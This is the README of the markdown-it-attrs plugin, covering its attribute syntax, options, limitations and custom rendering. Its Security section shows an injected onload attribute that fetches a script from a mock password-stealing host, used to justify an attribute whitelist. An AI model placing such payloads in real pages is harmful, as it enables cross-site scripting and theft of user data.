Awesome
markdown-it-attrs 
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Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc's header attributes.
Table of contents <!-- omit in toc -->
- Examples
- Install
- Support
- Usage
- Security
- Limitations
- Ambiguity
- Custom rendering
- Custom blocks
- Custom delimiters
- Development
- License
Examples
Example input:
# header {.style-me}
paragraph {data-toggle=modal}
Output:
<h1 class="style-me">header</h1>
<p data-toggle="modal">paragraph</p>
Works with inline elements too:
paragraph *style me*{.red} more text
Output:
<p>paragraph <em class="red">style me</em> more text</p>
And fenced code blocks:
<pre><code> ```python {data=asdf} nums = [x for x in range(10)] ``` </code></pre>Output:
<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>
You can use .. as a short-hand for css-module=:
Use the css-module green on this paragraph. {..green}
Output:
<p css-module="green">Use the css-module green on this paragraph.</p>
Also works with spans, in combination with the markdown-it-bracketed-spans plugin (to be installed and loaded as such then):
paragraph with [a style me span]{.red}
Output:
<p>paragraph with <span class="red">a style me span</span></p>
Install
$ npm install --save markdown-it-attrs
Support
Library is considered done from my part. I'm maintaining it with bug fixes and security updates.
I'll approve pull requests that are easy to understand. Generally not willing merge pull requests that increase maintainance complexity. Feel free to open anyhow and I'll give my feedback.
If you need some extra features, I'm available for hire.
Usage
var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs, {
// optional, these are default options
leftDelimiter: '{',
rightDelimiter: '}',
allowedAttributes: [] // empty array = all attributes are allowed
});
var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);
console.log(res);
Security
A user may insert rogue attributes like this:
{onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
If security is a concern, use an attribute whitelist:
md.use(markdownItAttrs, {
allowedAttributes: ['id', 'class', /^regex.*$/]
});
Now only id, class and attributes beginning with regex are allowed:
text {#red .green regex=allowed onclick=alert('hello')}
Output:
<p id="red" class="green" regex="allowed">text</p>
Limitations
markdown-it-attrs relies on markdown parsing in markdown-it, which means some
special cases are not possible to fix. Like using _ outside and inside
attributes:
_i want [all of this](/link){target="_blank"} to be italics_
Above example will render to:
<p>_i want <a href="/link">all of this</a>{target="<em>blank"} to be italics</em></p>
...which is probably not what you wanted. Of course, you could use * for
italics to solve this parsing issue:
*i want [all of this](/link){target="_blank"} to be italics*
Output:
<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>
Ambiguity
When class can be applied to both inline or block element, inline element will take precedence:
- list item **bold**{.red}
Output:
<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>
If you need the class to apply to the list item instead, use a space:
- list item **bold** {.red}
Output:
<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>
If you need the class to apply to the <ul> element, use a new line:
- list item **bold**
{.red}
Output:
<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>
If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:
- item
- nested item {.a}
{.b}
{.c}
Output:
<ul class="c">
<li>item
<ul class="b">
<li class="a">nested item</li>
</ul>
</li>
</ul>
This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
Similar for tables, attributes must be two new lines below:
header1 | header2
------- | -------
column1 | column2
{.special}
Output:
<table class="special">
<thead>
<tr>
<th>header1</th>
<th>header2</th>
</tr>
</thead>
<tbody>
<tr>
<td>column1</td>
<td>column2</td>
</tr>
</tbody>
</table>
Wellformed the table's rowspan and/or colspan attributes, usage sample below:
| A | B | C | D |
| ----------------------- | --- | --- | ---------------- |
| 1 | 11 | 111 | 1111 {rowspan=3} |
| 2 {colspan=2 rowspan=2} | 22 | 222 | 2222 |
| 3 | 33 | 333 | 3333 |
{border=1}
Output:
<table border="1">
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>11</td>
<td>111</td>
<td rowspan="3">1111</td>
</tr>
<tr>
<td colspan="2" rowspan="2">2</td>
<td>22</td>
</tr>
<tr>
<td>3</td>
</tr>
</tbody>
</table>
If you need finer control, decorate might help you.
Custom rendering
If you would like some other output, you can override renderers:
const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');
md.use(markdownItAttrs);
// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx];
return '<pre' + slf.renderAttrs(token) + '>'
+ '<code>' + token.content + '</code>'
+ '</pre>';
}
let src = [
'',
'```js {.abcd}',
'var a = 1;',
'```'
].join('\n')
console.log(md.render(src));
Output:
<pre class="abcd"><code>var a = 1;
</code></pre>
Read more about custom rendering at markdown-it.
Custom blocks
markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.
Remember to render attributes if you use a custom renderer.
Custom delimiters
To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:
md.use(attrs, {
leftDelimiter: '[',
rightDelimiter: ']'
});
Which will render
# title [.large]
as
<h1 class="large">title</h1>
Development
Tests are in test.js.
Run all tests:
npm test
Run particular test:
npm test -- -g "not crash"
In tests, use helper function replaceDelimiters to make test run with
different delimiters ({}, [] and [[]]).
For easy access to HTML output you can use debug.js:
node debug.js # will print HTML output
Please do not submit pull requests with changes in package version or built files like browser.js.
License
MIT © Arve Seljebu